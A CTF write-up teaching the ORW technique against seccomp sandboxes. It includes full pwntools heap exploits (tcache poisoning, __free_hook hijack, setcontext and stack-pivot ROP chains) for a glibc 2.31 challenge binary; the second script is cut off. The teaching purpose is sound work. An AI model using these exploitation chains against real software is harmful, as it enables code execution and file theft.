ORW Overview
ORW refers to an exploitation technique in the context of binary exploitation. It stands for Open, Read, Write, which are fundamental system calls used to interact with files on a Linux system.
Open
The system call open()
opens a file for reading, writing, or both. In a typical pwn challenge, this could be used to open a file, such as a flag file (/flag
), that we want to read during the challenge.
int open(const char *pathname, int flags, mode_t mode)
pathname
: The path to the file we want to open.flags
: Specifies how the file should be opened (read, write, or both). Common flags include:O_RDONLY
(0): Open the file for reading only.O_WRONLY
(1): Open the file for writing only.O_RDWR
(2): Open the file for both reading and writing.O_CREAT
(0x40): Create the file if it doesn't exist (requires a 3rd argumentmode
for file permissions).O_TRUNC
(0x200): Truncate the file to zero length if it already exists.O_APPEND
(0x400): Write data to the end of the file.
mode
: The file mode (permissions), used only when a new file is being created. This can be omitted or set to 0 if the file already exists.
Read
The read()
system call reads data from a file descriptor (obtained from the open()
call) into a buffer.
ssize_t read(int fd, void *buf, size_t count)
fd
: If we run the ORW chain, this is the file descriptor returned byopen
system call. It tells the kernel which file to read from.buf
: A pointer to a buffer where the data read from the file will be stored.count
: The number of bytes to read from the file.
Write
The write()
system call writes data from a buffer to a file descriptor, often to standard output (fd = 1
), which is useful for displaying the contents of the file (like a flag) on the screen.
ssize_t write(int fd, const void *buf, size_t count)
fd
: The file descriptor to which the data should be written. For writing to standard output (the terminal), this is typically1
; sometimes we use2
for standard error.buf
: A pointer to the buffer containing the data to write (in this case, the buffer that was filled by theread
function).count
: The number of bytes to write from the buffer.
Usually, in a binary exploit scenario, we can use puts
function instead (rdi
for the 1st only argument buf
), which is much more convenient.
ORW in Pwn Context
In many CTFs, challenges require us to craft a payload that performs the following steps:
- Open the file (often
/flag
or something similar). - Read the contents of the file into memory.
- Write the contents of the file to standard output or standard error.
We can generate ORW shellcode using Pwntools' shellcraft module:
shellcode = asm(shellcraft.open('/flag')) + \
asm(shellcraft.read(3, 'rsp', 100)) + \
asm(shellcraft.write(1, 'rsp', 100))
- Opens the
/flag
file (using file descriptor3
). - Reads 100 bytes of the file into the stack (
rsp
). - Writes those bytes to the standard output (
fd = 1
).
ORW in Sandbox
ORW is often used in challenges where the environment is sandboxed or restricted. Sandboxes are designed to isolate programs and limit their access to the file system and system resources. In such a scenario, direct execution of system calls like execve()
to spawn a shell may be restricted, but basic file manipulation system calls like open()
, read()
, and write()
are sometimes still allowed.
By using ORW shellcode, we can exploit a vulnerability and bypass these sandbox restrictions. Instead of executing a shell to read a file (which may be blocked), we use the available system calls (like open
, read
, write
) to directly access and retrieve the contents of the file (e.g., /flag
).
We can strace
to check for denied system calls or unusual syscall behavior:
prctl(PR_SET_SECCOMP, ...)
: Indicates the use of seccomp.open()
,read()
,write()
, orexecve()
returning errors.- Filesystem and network-related syscalls that might be blocked or restricted.
Or, we can simply use strings
to grep the seccomp
keyword:
Some binaries are statically linked with sandboxing libraries. We can check for these libraries by inspecting the binary’s dependencies using ldd
:
Seccomp (secure computing mode) is a Linux kernel feature used to restrict the system calls a process can make. We can use the seccomp-tools to help us finish the detection:
# sudo apt install gcc ruby-dev && sudo gem install seccomp-tools
seccomp-tools dump ./pwn
The binary blocks the execve
and execveat
system calls (goto008
– return KILL
), which are typically used to execute new programs. This is a common security measure in sandboxed environments to prevent arbitrary code execution or privilege escalation.
This result confirms that the binary is sandboxed using seccomp. The presence of seccomp itself, especially with such strict rules, shows that the binary is running in a restricted execution environment where only specific system calls are allowed.
Setcontext
The function setcontext
is a libc function that restores the execution context (register states, stack pointer, etc.) to a previously saved state. It is typically used in non-preemptive multitasking and context switching, where a program may need to pause one task and later resume it with the exact state it was in before.
However, in the context of binary exploitation, setcontext
can be abused to set a variety of CPU registers and control program execution. This makes it a highly valuable tool for constructing Return-Oriented Programming (ROP) chains, especially when we can’t rely on more traditional methods of controlling register values.
The setcontext
gadget allows for a very powerful ROP chain because it sets a wide range of registers in a single gadget (rdi
as an index below glibc 2.29, but rdx
in above version). This allows us to set up the exact context needed for a series of system calls (like ORW) in a relatively compact manner.
It is used to restore a previously saved CPU context. This context includes:
- Stack pointer (
rsp
) - Base pointer (
rbp
) - General-purpose registers (
rbx
,r12
,r13
,r14
, etc.) - Other important registers like
rdi
,rsi
,rdx
rcx
(used in system calls).
Here’s a simplified form of what the function does:
int setcontext(const ucontext_t *ucp);
- The
ucontext_t
structure holds the context (the register values, stack pointer, instruction pointer, etc.) that thesetcontext
function will restore. - When
setcontext
is called, the CPU state is restored based on the values inucontext_t
, and control flow is transferred back to the location specified by the saved instruction pointer.
Old Glibc Version < 2.29
In older versions of glibc (before version 2.29), which leverages the internal functions and structures of the dynamic memory allocator and libc to execute arbitrary code through Return-Oriented Programming (ROP). Specifically, it refers to exploiting __free_hook
or __malloc_hook
to hijack program control flow by utilizing the setcontext
function.
- Glibc Hooks:
__free_hook
and__malloc_hook
are function pointers used internally by glibc's memory allocator. By overwriting these hooks, an attacker can change the behavior offree()
ormalloc()
to execute arbitrary code (But of course they are discarded by default in newer version of glibc). setcontext
: is a glibc function used to restore a previously saved CPU context (register states). It's generally used in cooperative multitasking. But in this context, it’s being abused as a gadget to set specific register values.
This is part of the setcontext
function, and the instructions show how the CPU registers are being restored:
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] # rsp = *(rdi + 0xa0)
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] # rbx = *(rdi + 0x80)
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] # rbp = *(rdi + 0x78)
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48] # r12 = *(rdi + 0x48)
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50] # r13 = *(rdi + 0x50)
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58] # r14 = *(rdi + 0x58)
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60] # r15 = *(rdi + 0x60)
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] # rcx = *(rdi + 0xa8)
<setcontext+94>: push rcx # Push rcx onto the stack
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] # rsi = *(rdi + 0x70)
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] # rdx = *(rdi + 0x88)
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] # rcx = *(rdi + 0x98)
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28] # r8 = *(rdi + 0x28)
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30] # r9 = *(rdi + 0x30)
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] # rdi = *(rdi + 0x68)
<setcontext+125>: xor eax,eax # Zero out eax
<setcontext+127>: ret # Return, control flow is transferred
The setcontext+53
(and following instructions) shows how setcontext
loads various registers from memory. Each register (like rsp
, rbx
, rbp
, etc.) is loaded from memory at an offset relative to rdi
– using it as an index. This means that by controlling rdi
, we can set these registers to values stored at controlled memory addresses.
Summary:
- Goal: Exploit a vulnerability (e.g.,
__free_hook
or__malloc_hook
) to hijack control flow and execute arbitrary code. - Strategy: Use the
setcontext
function to load registers and execute a ROP chain to perform the ORW sequence (open, read, and write a file like/flag
). - Execution: Overwrite the hook, use
setcontext
to control registers, and execute a crafted ROP chain that eventually reads and outputs the content of a file.
New Glibc Version >= 2.29
In glibc 2.29 and later versions, the setcontext
gadget has changed its behavior and now uses the rdx
register as the index for loading various registers and restoring the execution context, instead of using rdi
as in previous versions. This change adds complexity to the exploitation process, as now we must first control the value of rdx
to control the values of other registers that are loaded from memory.
Here’s the code for the updated setcontext
gadget in glibc 2.29+:
.text:00000000000580DD mov rsp, [rdx+0A0h] ; Set the stack pointer
.text:00000000000580E4 mov rbx, [rdx+80h] ; Set rbx
.text:00000000000580EB mov rbp, [rdx+78h] ; Set rbp
.text:00000000000580EF mov r12, [rdx+48h] ; Set r12
.text:00000000000580F3 mov r13, [rdx+50h] ; Set r13
.text:00000000000580F7 mov r14, [rdx+58h] ; Set r14
.text:00000000000580FB mov r15, [rdx+60h] ; Set r15
.text:00000000000580FF test dword ptr fs:48h, 2
...
.text:00000000000581C6 mov rcx, [rdx+0A8h] ; Set rcx and push it to the stack
.text:00000000000581CD push rcx ; Push rcx to the stack
.text:00000000000581CE mov rsi, [rdx+70h] ; Set rsi
.text:00000000000581D2 mov rdi, [rdx+68h] ; Set rdi
.text:00000000000581D6 mov rcx, [rdx+98h] ; Set rcx
.text:00000000000581DD mov r8, [rdx+28h] ; Set r8
.text:00000000000581E1 mov r9, [rdx+30h] ; Set r9
.text:00000000000581E5 mov rdx, [rdx+88h] ; Set rdx
.text:00000000000581EC xor eax, eax ; Clear eax
.text:00000000000581EE retn ; Return, transfer control
This code loads various registers (like rsp
, rsi
, rdi
, rbx
, rdx
, etc.) from memory, but now the memory addresses are indexed by rdx
. This change means we must first set rdx
to a controlled value (pointing to their crafted payload) before controlling other registers.
However in exploitation, finding gadgets that allow direct control over the rdx
register can be challenging. ROP gadgets that move immediate values or controlled values into rdx
are relatively rare compared to gadgets for other registers like rdi
or rsi
.
Demo Analysis
Overview
A "simple" Pwn challenge called "ParentSimulator" will be analyzed to introduce the exploit as a demo. Its Glibc version is 2.31, that you can download the challenge on my Github. Here we will take a look at the binary it self briefly and then exploit it in different ways followingly.
Fully armored with protections and within a sandbox environment:
There're 6 Operations:
Option1: add
Give birth a child (add
):
int add()
{
unsigned int index; // [rsp+8h] [rbp-8h]
int sex; // [rsp+Ch] [rbp-4h]
puts("Please input index?");
v1 = myread();
if ( index >= 0xA )
return puts("oh god, you can't give birth to a child!");
puts("Please choose your child's gender.\n1.Boy\n2.Girl:");
sex = myread();
if ( sex != 1 && sex != 2 )
return puts("Oho, your child must be a boy or a girl");
chunk_flag[index] = 1;
chunk_entry[index] = malloc(0x100uLL);
if ( sex == 1 )
{
*(_DWORD *)(chunk_entry[index] + 8LL) = 'yob';
}
else if ( sex == 2 )
{
strcpy((char *)(chunk_entry[index] + 8LL), "girl");
}
puts("Please input your child's name:");
return input_name(chunk_entry[index], 8LL);
}
Option 2: rename
Rrename a child (rename
), by checking chunk_flag=1
, namely child existed:
int rename()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Please input index?");
LODWORD(v0) = myread();
v2 = v0;
if ( (unsigned int)v0 <= 9 )
{
v0 = chunk_entry[(int)v0];
if ( v0 )
{
LODWORD(v0) = chunk_flag[v2];
if ( (_DWORD)v0 )
{
puts("Please input your child's new name:");
input_name(chunk_entry[v2], 8LL);
LODWORD(v0) = puts("Done!");
}
}
}
return v0;
}
Option 3: show
Display child name (show
):
int show()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Please input index?");
LODWORD(v0) = myread();
v2 = v0;
if ( (unsigned int)v0 <= 9 )
{
v0 = chunk_entry[(int)v0];
if ( v0 )
{
LODWORD(v0) = chunk_flag[v2];
if ( (_DWORD)v0 )
LODWORD(v0) = printf(
"Name: %s, Gender: %s, Description:%s.\n",
(const char *)chunk_entry[v2],
(const char *)(chunk_entry[v2] + 8LL),
(const char *)(chunk_entry[v2] + 16LL));
}
}
return v0;
}
Option 5: edit
Edit description (edit
):
int edit()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Please input index?");
LODWORD(v0) = myread();
v2 = v0;
if ( (unsigned int)v0 <= 9 )
{
v0 = chunk_entry[(int)v0];
if ( v0 )
{
LODWORD(v0) = chunk_flag[v2];
if ( (_DWORD)v0 )
{
puts("Please input your child's description:");
input_name(chunk_entry[v2] + 16LL, 240LL);
LODWORD(v0) = puts("Done");
}
}
}
return v0;
}
Hidden option 666: change the child's gender (change_gender
). If we review the main function, we will know that there's a hidden option 666. And this can only be run once for the gender_chance
variable:
It prints the current gender before re-choosing. To be noticed, this function does NOT verify the chunk_flag
variable, which will leak for example the heap address when the chunk is in tcache bin, or leak libc address when it is in unsorted bin:
int change_gender()
{
char *v0; // rax
int v2; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]
printf("You only have 1 chances to change your child's gender, left: %d\n", (unsigned int)gender_chance);
LODWORD(v0) = gender_chance;
if ( gender_chance )
{
puts("Please input index?");
LODWORD(v0) = myread();
v2 = (int)v0;
if ( (unsigned int)v0 <= 9 )
{
v0 = (char *)chunk_entry[(int)v0];
if ( v0 )
{
--gender_chance;
printf("Current gender:%s\n", (const char *)(chunk_entry[v2] + 8LL));
puts("Please rechoose your child's gender.\n1.Boy\n2.Girl:");
v3 = myread();
if ( v3 == 1 )
{
v0 = (char *)(chunk_entry[v2] + 8LL);
*(_DWORD *)v0 = 'yob';
}
else if ( v3 == 2 )
{
v0 = (char *)(chunk_entry[v2] + 8LL);
strcpy(v0, "girl");
}
else
{
LODWORD(v0) = puts("oho, you choose a invalid gender.");
}
}
}
}
return (int)v0;
}
Option 4: free
Remove child (free
), with clearly use-after-free vulnerability:
int free()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Please input index?");
LODWORD(v0) = myread();
v2 = v0;
if ( (unsigned int)v0 <= 9 )
{
v0 = chunk_entry[(int)v0];
if ( v0 )
{
free((void *)chunk_entry[v2]); // UAF
chunk_flag[v2] = 0;
LODWORD(v0) = puts("Done");
}
}
return v0;
}
ATOI: myread
Besides, the custom "read" function myread
:
int myread()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 8uLL);
return atoi(buf);
}
It reads 8 bytes of input from standard input (file descriptor 0
) into a local buffer and then converts the input into an integer using the atoi
function.
After the function finishes, before returning, the stack canary (v2
) will likely be checked by the compiler-generated code. If the value has been altered (as a result of a buffer overflow or other exploit attempt), the program will terminate, indicating an attempt to corrupt the stack.
Chunk Layout
After allocating, the corresponding chunk is constructed as:
0x0 → pre_size
0x8 → size
0x10 → name
0x18 → gender
0x20 → description
Glibc 2.31
In the following Solution 1 & 2, we will use the exploit technique of hijacking __free_hook
to execute instructions, which is useful in lower versions of modern Glibc.
However, in Glibc versions higher than 2.34
, many global variables like hooks are removed from code, aka __malloc_hook
, __free_hook
, __realloc_hook
, etc. It means we can no longer use the hook functions to hijack execution flow, which has long been used in binary exploitation.
But the main purpose of this post is to illustrate how to exploit with the ORW ROP chain. Using the hook functions in Glibc 2.31 help us focus on the idea.
Def for EXP
Functions
We will provide 3 solutions in the following chapters, while using same definition for functions in the binary to shorten these writeups:
def add(index, sex, name):
sla('>> ', '1')
sla('index?\n', str(index))
sla('2.Girl:\n', str(sex))
sa("Please input your child's name:\n", name)
def rename(index, name):
sla('>> ', '2')
sla('index', str(index))
sa('name:', name)
ru('Done!\n')
def show(index):
sla('>>', '3')
sla('index?', str(index))
def free(index):
sla('>>', '4')
sla('index?', str(index))
def change_gender(index, sex):
sla('>>', '666')
sla('index?', str(index))
ru('Current gender:')
addr = uu64(r(6)) # leak address
sla('2.Girl:',str(sex))
return addr
def edit(index, data):
sla('>>', '5')
sla('index?', str(index))
sa('description:', data)
def myquit():
sla('>>','6')
Heap Layout
And I will use chunk 0 to 9 as the expression to illustrate how we exploit the heap. The initial indexes of childern are same as corresponding chunk numbers, but they will change during the attack.
Abbreviation
Of course I create some custom abbreviation for function in the pwntools, which can also be referred from my custom pwn exp template on Github:
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
Solution 1 | getkeyserv_handle+576
& Setcontext
As we discussed above, in glibc 2.31, the setcontext
function now uses the rdx
register to index memory, making it necessary to control rdx
in order to execute the setcontext
gadget properly. Direct control of rdx
is challenging because gadgets that allow an attacker to easily manipulate rdx
are rare.
In this solution, we can omit the change_gender
function to complete the attack.
Gadget: getkeyserv_handle+576
A gadget getkeyserv_handle+576
in the binary that can control rdx
via manipulation of another register, in this case, rdi
. The gadget found is at the offset getkeyserv_handle+576
, which is present in multiple versions of glibc (from 2.29
to 2.32
). This gadget can be used to control rdx
indirectly by manipulating rdi
. The disassembled instructions for the gadget are as follows:
mov rdx, [rdi+8] ; Load rdx with the value at [rdi + 8]
mov [rsp], rax ; Store rax on the stack
call qword ptr [rdx+20h] ; Call a function pointer at [rdx + 0x20]
mov rdx, [rdi + 8]
: This instruction loads the value from memory at[rdi + 8]
intordx
. It means that by controllingrdi
, we can indirectly control the value ofrdx
. Specifically, we need to ensure that the value stored at[rdi + 8]
is what they want to load intordx
.mov [rsp], rax
: This instruction is not essential for the exploitation, as it simply saves the value ofrax
onto the stack. It has no immediate impact on the flow or control of the exploit.call qword ptr [rdx + 20h]
: This instruction attempts to make a call to a function pointer located at[rdx + 0x20]
, akacall [rdi+8+0x20]
.
Our final goal is to exploit the setcontext
gadget, after controlling rdx
. Once rdx
is controlled (through getkeyserv_handle
after controlling the rdi
register), we control the execution flow by the last call
function. The exploit will then proceed to call the specific setcontext
gadget, and return.
Therefore, the most important control point should be [rdi + 8]
, which is the gender variable. Thus, we will need to make a way to overwrite this address (chunk overlapping in this case).
EXP to Explain
To make this post shorter, I will make detailed explanation in the comments of the EXP & summarize the steps below:
from pwn import *
[Omit the custom functions]
def exploit():
# -------- 1 -------- House of Botcake
# Double free -> Chunk overlapping -> leak heap/libc addr
# leak heap
# add up to 9 children: chunk 0 to 9, with corresponding index
# index will change for chunks later
for i in range(10):
add(i, 1, 'aaaa')
# fill up tcache, 6 -> 0
for i in range(7):
free(6 - i)
# unsorted bin -> consolidate -> unsorted bin
free(8)
free(7)
# take out the first chunk from tcache
add(0, 1, 'bbbb')
# re-fill tcache with part of the consolidated chunk -> chunk overlapping
# double free: chunk 8 in both tcache top & unsorted bin
free(8)
# allocate chunk 8 @tcache_top for index 0
add(0, 1, 'cccc')
# double free chunk 8 -> tcache top -> write heap addr into chunk 0 ptr
free(8)
# leak heap addr @key_ptr
show(0)
ru('Gender: ')
heap_addr = uu64(r(6))
pa('leaked heap addr: ', heap_addr)
# leak libc
# unlink unsorted bin chunks before chunk 0 -> write usbin address
for i in range(1, 9):
# 1st chunk allocated is the overlapped chunk 8 (index 0) at tcache top
# last 8th chunk allocated is the consolidated chunk 7 (0x220)
# chunk 8 becomes last remainder -> usbin address written -> in usrbin
add(i, 1, '1111')
show(0)
ru('Gender: ')
leaked_usbin = uu64(r(6))
pa('leaked unsorted bin', leaked_usbin)
libc_base = leaked_usbin-0x1ebbe0
pa('libc base', libc_base)
# -------- 2 -------- Setcontext Chain
# chunk overlapping > overwrite chunk_entry+8 > setcontext gadget
# ORW
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
# getkeyserv_handle+575 gadget
gadget = libc_base + 0x1547a0
# other gadgets
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 61 # start with rdx indexing
p_rdi_r = libc_base + 0x26b72
p_rdx_r12_r = libc_base + 0x11c1e1 # control rdx but not affect rip
p_rsi_r = libc_base + 0x27529
pa('__free_hook', free_hook)
pa('getkeyserv_handle+575', gadget)
# tcache poisoning -> chunk overlapping
add(9, 1, 'UUUU') # Allocate chunk 8 from usbin, indexed 9 & 0 & 1 (previous 1st allocation)
free(3) # free chunk 2 into tcache
free(1) # free chunk 8 into tcache
rename(0, p64(heap_addr+0x380)[:-1]) # write chunk 8 name(fd) @tcache_top
add(8, 1, 'UUUU') # chunk 8 allocated (indexed 8) -> heap_addr+0x380 @tcache_top
add(9, 1, p64(0xdeadbeef)[:-1]) # heap_addr+0x370 allocated to overwrite chunk 1, indexed 9
# write chunk 1 gender field -> chunk2 description field
pl = flat({
0x0: [0, 0x111], # keep original
# chunk 1 gender field
# write address of chunk 1 description field
# when we free chunk 1 (free(rdi)) at the end
# we instead call getkeyserv_handle_575 gadget
# And this is where rdi+0x8 -> make [rdi+8+0x20] = setcontext <- called
0x10: [0, heap_addr + 0x3b0 - 0x20], # [heap_addr+0x3b0] = setcontext
# setcontext gadget: mov rsp, [rdx+0xa0]
0x20: setcontext, # heap_addr+0x3b0
# rsp = [rdx+a0] = [rdi+8+a0] -> chunk 3 @description
# and the edit function starts from chunk_entry+0x10
# call -> pop rsp; ret
# rcx = [rdx+0xa8]; push rcx -> p_rdi_r
0xa0: [heap_addr + 0x5d0, p_rdi_r] # complete chain: push pop_rdi gadget above file name
}, filler='\0')
edit(9, pl) # pl -> chunk 1 (index 9)
# all bins empty
# -------- 3 -------- Set Gadgets into __free_hook
free(7) # chunk 6 -> tcache
free(8) # chunk 8 -> tcache top
rename(0, p64(free_hook)[:-1]) # write chunk 8 fd
add(8, 1, p64(0xdeadbabe)[:-1]) # allocate chunk 8 -> free_hook @tcache_top
add(7, 1, p64(gadget)[:-1]) # write __free_hook, indexed 7
# -------- 4 -------- ROP chain
pl = flat({
# p_rd_r was deployed previously in chunk 1, right above heap_addr+0xb10
0x0: heap_addr+0xb10, # 1st arg for open, chunk 8 ptr -> contains file name
0x8: p_rsi_r,
0x10: 0, # 2nd arg for open, flags, O_RDONLY (readonly)
0x18: open_addr,
0x20: p_rdi_r,
0x28: 4, # 1st arg for read, file descriptor returned by open (rax)
0x30: p_rsi_r,
0x38: heap_addr+0x500, # 2nd arg for read, chunk 2 empty space
0x40: p_rdx_r12_r,
0x48: 0x30, # rdx, 3rd arg for read, count
0x50: 0x30, # r12, junk
0x58: read_addr,
0x60: p_rdi_r, # 1st arg for write
0x68: heap_addr+0x500, # chunk 2 empty space
0x70: puts,
}, filler='\0')
edit(4,pl) # ROP chain -> chunk 3 @description
rename(0,'/flag\x00\x00') # write file name (8 bytes) to chunk 8
# -------- 5 -------- trigger __free_hook -> gadget
# gdb.attach(p)
free(2)
p.interactive()
if __name__ == '__main__':
file_path = './pwn'
libc_path = './libc-2.31.so'
ld_path = './ld-2.31.so'
context(arch="amd64", os="linux", endian="little")
# context.log_level="debug"
e = ELF(file_path, checksec=False)
mode = {"local": False, "remote": False, }
env = None
if len(sys.argv) > 1:
if libc_path != '':
libc = ELF(libc_path)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
else:
if libc_path != '':
libc = ELF(libc_path)
env = {'LD_PRELOAD': libc_path}
if ld_path != '':
cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
p = process(cmd, env=env)
else:
p = process(file_path, env=env)
mode["local"] = True
exploit()
GDB to Explain
The addresses depicted in the picture is inconsistent, but with fixed offset to refer. Because of ASLR & PIE, and we cropped screenshots in different processes.
STEP 1: Leak
House of Botcake > Chunk overlapping > Leak heap address (heap_base+0x10):
Leak unsorted bin > Calculate offset > libc base:
During the allocation, chunk 7 will be spilt up for the last step, then chunk 8 becomes the last remainder written unsorted bin address in the pointers (see EXP comments).
Step 2: Gadgets
To find out the getkeyserv_handle+575 gadget
gadget:
ropper --file ./libc-2.31.so --search 'mov rdx'
Use the gadgets (setcontext+61
) in setcontext
function which contains the rsp,QWORD PTR [rdx+0xa0]
gadget to control rsp
:
pwndbg> disassemble setcontext
Dump of assembler code for function setcontext:
...
0x00007f8faec180dd <+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x00007f8faec180e4 <+68>: mov rbx,QWORD PTR [rdx+0x80]
0x00007f8faec180eb <+75>: mov rbp,QWORD PTR [rdx+0x78]
0x00007f8faec180ef <+79>: mov r12,QWORD PTR [rdx+0x48]
0x00007f8faec180f3 <+83>: mov r13,QWORD PTR [rdx+0x50]
0x00007f8faec180f7 <+87>: mov r14,QWORD PTR [rdx+0x58]
0x00007f8faec180fb <+91>: mov r15,QWORD PTR [rdx+0x60]
0x00007f8faec180ff <+95>: test DWORD PTR fs:0x48,0x2
0x00007f8faec1810b <+107>: je 0x7f8faec181c6 <setcontext+294>
...
0x00007f8faec181c6 <+294>: mov rcx,QWORD PTR [rdx+0xa8]
0x00007f8faec181cd <+301>: push rcx
0x00007f8faec181ce <+302>: mov rsi,QWORD PTR [rdx+0x70]
0x00007f8faec181d2 <+306>: mov rdi,QWORD PTR [rdx+0x68]
0x00007f8faec181d6 <+310>: mov rcx,QWORD PTR [rdx+0x98]
0x00007f8faec181dd <+317>: mov r8,QWORD PTR [rdx+0x28]
0x00007f8faec181e1 <+321>: mov r9,QWORD PTR [rdx+0x30]
0x00007f8faec181e5 <+325>: mov rdx,QWORD PTR [rdx+0x88]
0x00007f8faec181ec <+332>: xor eax,eax
0x00007f8faec181ee <+334>: ret
0x00007f8faec181ef <+335>: mov rcx,QWORD PTR [rip+0x192c7a] # 0x7f8faedaae70
0x00007f8faec181f6 <+342>: neg eax
0x00007f8faec181f8 <+344>: mov DWORD PTR fs:[rcx],eax
0x00007f8faec181fb <+347>: or rax,0xffffffffffffffff
0x00007f8faec181ff <+351>: ret
End of assembler dump.
Tcache Poisoning: Overwrite name section (next
pointer) on chunk 8 with an address heap_addr+0x380
:
heap_addr+0x380
locates at right above chunk 1, so that we can overwrite the chunk 1 gender field (actually we can also use that change_gender
function for the same goal):
Chunk overlapping > Overwrite gender field (aka chunk 1 entry +0x8 > Deploy setcontext+61
:
The chunk 1 gender field is overwritten with an address related to that following address that stores the setcontext+61
gadget. We do this because, after we overwrite the __free_hook
with the getkeyserv_handle+576
gadget (mov rdx, [rdi+8]; call [rdx+20h]
), we will make the execution flow return to the heap address storing setcontext+61
.
And we write the address containing ROP chain (will introduce later) there because setcontext+61
will change rsp
to a value of rdx+0xa0
— so we hijack the rsp
to this area.
And we write the pop rdi;ret
gadget followingly, as the first gadget of the ROP chain. Because there's mov rcx, [rdx+0xa8]; push rcx
operation in the setcontext+294
operation. So we need to set the 1st gadget in advance at rdx+0xa8
(next to the ROP chain entry), and it will be pushed above the ROP chain we are gonna construct in the next steps.
Step 3: Write Gadget to __free_hook
Tcache poisoning: write getkeyserv_handle+576
Gadget to __free_hook
:
Next time if we run the free
function, we will call getkeyserv_handle+576
gadget instead.
Step 4: ORW ROP Chain
Edit chunk 3 description field (the entrance we overwrote to chunk 1 (+0xa0) in step 2) and spray our ROP chain on it:
Write the file name for open
function as the 1st argument:
Step 5: Trigger
Simply run free
to free chunk 1 (index 2), which will take its chunk entry for the pointer (1st argument in rdi
). But we hijack the __free_hook
function so instead it runs the getkeyserv_handle+576
gadget, and then run:
mov rdx, [rdi+8] ; chunk 1 gender field
mov [rsp], rax
call qword ptr [rdx+20h] ; call context+61
Set a breakpoint at the leaked address of gadget, we can see:
Run setcontext+61
gadget to hijack execution flow to deployed ORW ROP chain:
To be noticed, after that push
operation, our ROP chain completes, which is why we separate the gadgets in ROP:
It's then open
, read
, write
, whose details can be referred in the EXP comments. Open the file name, and content is read into the empty space we specify (heap_addr+0x500):
With the puts
functions run, we leak the flag through standard output:
In glibc versions higher than
2.34
, many global variables like hooks are removed from code. For example:__malloc_hook
,__free_hook
,__realloc_hook
, etc. It means we can no longer use solution 1 to hijack execution flow. Then we need to fake_IO_FILE
struct to hijack IO flows.
Solution 2 | svcudp_reply+26
& Stack Pivot
This is a less complicated way to finish this challenge, by performing stack pivot via another useful gadget svcudp_reply + 26
. We can hijack the stack to our controlled heap, which deployed with our ORW ROP chain.
And I will use the change_gender
function in this writeup so that we can leak addresses faster.
Gadget: svcudp_reply+26
The svcudp_reply+26
(not available in glibc 2.35) is a useful gadget to perform Stack Pivot, as long as we can control the rdi
register:
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
mov rbp, [rdi+0x48]
: We can hijackrbp
after controllingrdi
.mov rax, [rbp+0x18]
: Load the value addressed in[rbp+0x18]
intorax
.call [rax+0x28]
: Call a function locates at[rax+0x28]
, so that we hijack the execution flow.
EXP to Explain
from pwn import *
[Omit the custom functions]
def exploit():
# ----- 1 ----- Leak heap address
for i in range(8):
add(i, 1, 'aaaa')
free(6)
heap_addr = change_gender(6, 2)
pa('leaked heap_addr', heap_addr)
# ----- 2 ----- Doble free -> leak libc_libc_base
free(6) # double free
add(6, 1, 'bbbb')
add(8, 1, 'cccc') # chunk 6 overlapped, also indexed 8
for i in range(6):
free(i)
free(7) # now tcache is full; next free'd chunk will be put to usbin
free(6) # write usbin addr to chunk 6 pointers
show(8) # leak chunk 6 pointers
ru('Name: ')
libc_base = l64() - 0x1ebbe0
pa('libc_base addr', libc_base)
# ----- 3 ----- Set gadget to __free_hook
gadget = libc_base + 0x157bfa
free_hook = libc_base + libc.sym['__free_hook']
free_addr = libc_base + libc.sym['free']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
leave_r = libc_base + 0x5aa48 # mov rsp, rbp; pop rbp; ret
p_rsi_r = libc_base + 0x27529
p_rdi_r = libc_base + 0x26b72
p_rdx_r12_r = libc_base + 0x11c1e1
add_rsp_0x18_r=libc_base + 0x3794a
ret = libc_base + 0x25679 # mov rip, [rsp]; rsp + 8
pa('leave ret', leave_r)
pa('pop rdi; ret', p_rdi_r)
pa('gadget', gadget)
pa('__free_hook', free_hook)
for i in range(6):
add(i, 1, 'UUUU')
add(7, 1, 'aaaa') # tcachebin chunk 0
add(6, 1, p64(0xdeadbeef)[:-1]) # usibn chunk 6
# tcache poisoning -> index 6 & 8 overlapped on chunk 6
free(7) # tcahce pad
free(6) # tcache top
# tcache poison
rename(8, p64(free_hook)[:-1])
add(6, 1,'aaaa')
